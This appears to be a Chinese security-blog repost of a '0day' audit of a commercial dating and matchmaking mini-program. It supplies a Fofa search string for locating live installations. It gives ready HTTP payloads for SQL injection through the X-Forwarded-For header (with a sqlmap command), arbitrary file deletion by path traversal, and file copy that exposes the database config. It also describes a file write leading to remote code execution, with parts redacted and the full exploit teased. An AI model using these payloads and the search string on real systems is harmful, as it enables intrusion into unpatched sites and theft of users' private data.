某2024版婚恋相亲小程序系统审计(0day)

admin 2024年11月6日14:04:02评论5 views字数 6213阅读20分42秒阅读模式
某2024版婚恋相亲小程序系统审计(0day)
点击上方蓝字关注我们 并设为星标

0x00 前言

█ 纸上得来终觉浅,绝知此事要躬行 █

源码介绍:

  1. 红娘服务
    红娘服务模块是该系统的一大特色。专业红娘会通过分析用户的个人资料和偏好,

为用户提供精准的配对建议和个性化服务。用户可以预约红娘服务,通过红娘的介入,提升配对成功率。

  1. 相亲活动
    相亲活动模块用于组织和管理线下或线上相亲活动。用户可以报名参加系统组织的各类相亲活动,

通过集体活动认识更多异性。系统会发布活动信息,审核报名用户,并向报名成功的用户推送活动通知和后续反馈。

  1. 交友匹配
    交友匹配模块是系统的核心功能。通过大数据分析和智能算法,系统会根据用户的资料和偏好,

为其推荐潜在的匹配对象。匹配结果会展示给用户,帮助他们找到合适的交友对象。

  1. 付费获取联系方式
    该功能允许用户通过支付一定费用获取其他用户的联系方式。这样既能保护用户的隐私,

又能为系统带来收益。用户可以提交付费请求,通过支付系统完成支付后获取目标用户的联系方式。

  1. 付费交友
    付费交友模块提供高级会员服务。用户可以通过支付费用成为高级会员,享受更多的高级功能和特权,

如无限制的私聊次数、优先匹配推荐等。该模块旨在为用户提供更优质的交友体验,同时实现系统的盈利。

  1. 私聊功能
    私聊功能允许用户之间进行一对一的实时聊天。用户可以通过文字、图片等形式进行交流。

该功能支持实时消息传输,并保存聊天记录,同时会在用户收到新消息时发送通知,确保用户不错过每一条重要消息。

Fofa:"cache/areadata.js"

某2024版婚恋相亲小程序系统审计(0day)某2024版婚恋相亲小程序系统审计(0day)某2024版婚恋相亲小程序系统审计(0day)

0x01 前台SQL注入漏洞

该系统全局引用 /sub/init.php 作为传参过滤,$_GET $_POST $_COOKIE 都被 daddslashes() 函数转义了,不好找注入点,这时可以看有无base64 或者其他未过滤的 Header 看看有无注入点.

<?php/**************************************************QQ:xxxxxx supdes V10**************************************************/error_reporting(E_ALL & ~E_NOTICE);define('ZEAI',substr(dirname(__FILE__),0,-3));$_ZEAI = array();require_once ZEAI.'cache/config.php';require_once ZEAI.'sub/func.php';$_GET = daddslashes($_GET);$_POST = daddslashes($_POST,$_POST['ifbase64']);$_COOKIE = daddslashes($_COOKIE);......>

研究了一下,系统获取ip的getip方法是通过 X-Forwarded-For 来获取IP的,且未有任何有效过滤,所以全局搜索调用该函数并进入SQL查询的地方即可找到是否有注入点.

function getip() {  if(getenv('HTTP_CLIENT_IP') && strcasecmp(getenv('HTTP_CLIENT_IP'), 'unknown')) {    $onlineip = getenv('HTTP_CLIENT_IP');  } elseif(getenv('HTTP_X_FORWARDED_FOR') && strcasecmp(getenv('HTTP_X_FORWARDED_FOR'), 'unknown')) {    $onlineip = getenv('HTTP_X_FORWARDED_FOR');  } elseif(getenv('REMOTE_ADDR') && strcasecmp(getenv('REMOTE_ADDR'), 'unknown')) {    $onlineip = getenv('REMOTE_ADDR');  } elseif(isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], 'unknown')) {    $onlineip = $_SERVER['REMOTE_ADDR'];  }  $onlineip = preg_replace("/^([d.]+).*/", "\1", $onlineip);  return $onlineip;}

实际在 /m/my.php 找到有调用该方法的,并且将获取到的 IP 直接拼接进了SQL字句进行查询,导致漏洞产生.

<?phpob_start();require_once substr(dirname(__FILE__),0,-1).'sub/init.php';if(!is_mobile())header("Location: ".Href('my'));......$endip=getip();$SQL3="endtime=".ADDTIME.",endip='$endip',logincount=logincount+1";if(empty($cook_regip))$SQL3.=",regip='$endip'";if($_REG['auto_ifrefresh_time']==1)$SQL3.=",refresh_time=".ADDTIME;$db->query("UPDATE ".__TBL_USER__." SET ".$SQL3." WHERE id=".$cook_uid);if ($ifWeixinPushInfo == 1)wx_sent_kf_PushInfo($cook_openid);ob_end_flush();?>

先去注册一个账号,登录,替换Cookie,即可直接使用Payload注入.

Payload:

GET /m/my.php HTTP/1.1Host: 127.0.0.1sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="101"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36Cookie: xxxxxxAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9X-Forwarded-For: ' RLIKE SLEEP(5) AND 'fRLI'='fRLISec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: close

某2024版婚恋相亲小程序系统审计(0day)

Python sqlmap.py -r a.txt --level=3 --dbms=mysql

某2024版婚恋相亲小程序系统审计(0day)

0x02 前台任意文件删除漏洞

位于 /up/up.php 中可以通过POST传入submitok后进入到guest_userdelpic分支中,并通过Unlink函数删除任意文件,其中strstr检测可直接/tmp/../回到up目录.

<?php require_once '../sub/init.php';require_once ZEAI.'sub/conn.php';require_once ZEAI.'cache/config_up.php';require_once 'photo_blur.php';define('ZEAI2',dirname(__FILE__).DIRECTORY_SEPARATOR);switch ($_POST['submitok']) {    case 'guest_userdelpic':    if (!empty($dbpicname)){      $dbpicnameARR = explode('|',$dbpicname);      foreach($dbpicnameARR as $valuep){if (@file_exists(ZEAI2.$valuep) && strstr($valuep,'/tmp/') )@unlink(ZEAI2.$valuep);}    }  break;......?>

Payload:

POST /up/up.php HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflate, br, zstdAccept-Language: zh-CN,zh;q=0.9,ru;q=0.8,en;q=0.7Cache-Control: max-age=0Connection: keep-aliveContent-Length: 60Content-Type: application/x-www-form-urlencodedHost: 127.0.0.1Origin: http://127.0.0.1Referer: http://127.0.0.1/up/up.phpSec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: same-originUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="130", "Google Chrome";v="130", "Not?A_Brand";v="99"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"sec-fetch-user: ?1submitok=guest_userdelpic&dbpicname=/tmp/../config.txt

位于 /up/config.txt文件会被删除

某2024版婚恋相亲小程序系统审计(0day)

0x03 前台任意文件复制漏洞

在 /xxxx/xxxx.php 中可以通过POST传入submitok后进入到axxxx分支中,再传入xxxxx 绕过管理鉴权,再赋值xxxxx,进入到该Case,并通过Copy函数复制任意文件.

case 'cxxx':  if (!empty($dbname2) && @file_exists($dst)){    $dst2 = mk_fdatedir($dbname2);    @copy($dst,$dst2);  }

如果将数据库的php文件复制为txt文件,则可直接被访问,达到文件读取的效果

Payload:

POST /xxxx/xxxx.php HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflate, br, zstdAccept-Language: zh-CN,zh;q=0.9,ru;q=0.8,en;q=0.7Cache-Control: max-age=0Connection: keep-aliveContent-Length: 89Content-Type: application/x-www-form-urlencodedHost: 127.0.0.1Origin: http://127.0.0.1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: same-originUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="130", "Google Chrome";v="130", "Not?A_Brand";v="99"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"sec-fetch-user: ?1完整EXP请见文末!完整EXP请见文末!完整EXP请见文末!

然后再访问 /xxxx/config.txt 即可读取到数据库文件.

某2024版婚恋相亲小程序系统审计(0day)

0x04 前台任意文件写入漏洞(RCE)

位于 /xxxx/xxxx.php 中通过POST传入submitok后进入到默认分支中,然后再GET传入xxx=xxx 即可进入到xxxx方法,然后直接通过file_xxxxx写入任意文件,需要注意的是filename必须>13个字符.

POST /xxxx/xxxx.php?filename=xxxxxx HTTP/1.1Host: 127.0.0.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Content-Type: application/x-www-form-urlencodedAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: closeContent-Length: 36完整EXP请见文末!完整EXP请见文末!完整EXP请见文末!

某2024版婚恋相亲小程序系统审计(0day)

文件写入到 /xxxx/hacker666666.php 中

某2024版婚恋相亲小程序系统审计(0day)

 

原文始发于微信公众号(星悦安全):某2024版婚恋相亲小程序系统审计(0day)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月6日14:04:02
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   某2024版婚恋相亲小程序系统审计(0day)https://cn-sec.com/archives/3363348.html

发表评论

匿名网友 填写信息